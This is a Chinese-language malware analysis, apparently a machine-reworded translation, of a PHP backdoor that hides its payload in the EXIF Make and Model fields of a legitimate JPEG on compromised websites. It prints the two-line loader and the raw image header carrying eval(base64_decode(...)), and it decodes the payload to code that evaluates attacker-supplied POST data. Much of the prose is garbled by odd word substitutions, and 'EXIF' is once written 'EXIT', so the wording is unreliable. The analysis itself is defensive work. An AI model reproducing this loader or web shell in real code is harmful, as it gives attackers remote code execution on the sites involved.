这是一个很是有趣的后门,它并没有依托正常模式往隐躲起内容(好比 base64/gzip 编码),可是它却把本身的数据隐躲在JPEG图片的EXIT头部中了。它也利用exif_read_data和preg_replace两个PHP函数来读取EXIF头部和履行。
手艺细节
这个后门可分为两部门。第一部门是 exif_read_data 函数读取图片头部,preg_replace 函数来履行内容。下面是我们在被攻破网站上发现的代码:
$exif =exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
这两个函数本身是无害滴。exif_read_data 函数常常利用来读取图片,preg_replace 函数是替代字符内容。不外,preg_replace 函数函数有个隐躲并奥妙的选项,假定你传进 “/e”,它会履行 eval() 中的内容,就不是往查询/替代了。
所以我们在查看bun.jpg文件时,发现后门的第二部门:
^@^PJFIF^@^A^B^@^@d^@d^@^@á^@Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@eval(base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@^@^QDucky^@^A^@^D^@^@^@<^@^@^@^NAdobe^
这个文件用以常见的头部开端,可是在 ”make” 头部中混进了希罕的关头字 ”/.*/e” 。有了这个履行润色符, preg_replace 会履行 eval() 中传进的肆意内容。
工作变得开端有趣了……
假定我们继续来看看 EXIF 数据,我们能发现, “eval ( base64_decode”隐躲在 ”Model“ 头部。把这些放在一路看,我们就知道如何回事了。报复打击者是从 EXIF 中读取 Make 和 Model 头部信息,然后传进到 preg_replace 函数。只要我们点窜 $exif['Make'] 和 $exif['Model'] ,就获得了最终的后门。
preg_replace ("/.*/e",,"@ eval ( base64_decode("aWYgKGl ...");
解码后我们可以看到是履行 $_POST["zz1"] 供给的内容。完全解码后的后面在这里。
if(isset($_POST["zz1"])){eval(stripslashes($_POST["zz1"]..
隐躲歹意软件
别的一个成心思的是,当然 bun.jpg 和其他图片文件被点窜了,但然后能加载并正常工作。实际上,在这些被攻破的站点,报复打击者点窜了站点上一个合法并之前就存在的图片。这是一种奇特的隐躲歹意软件的编制。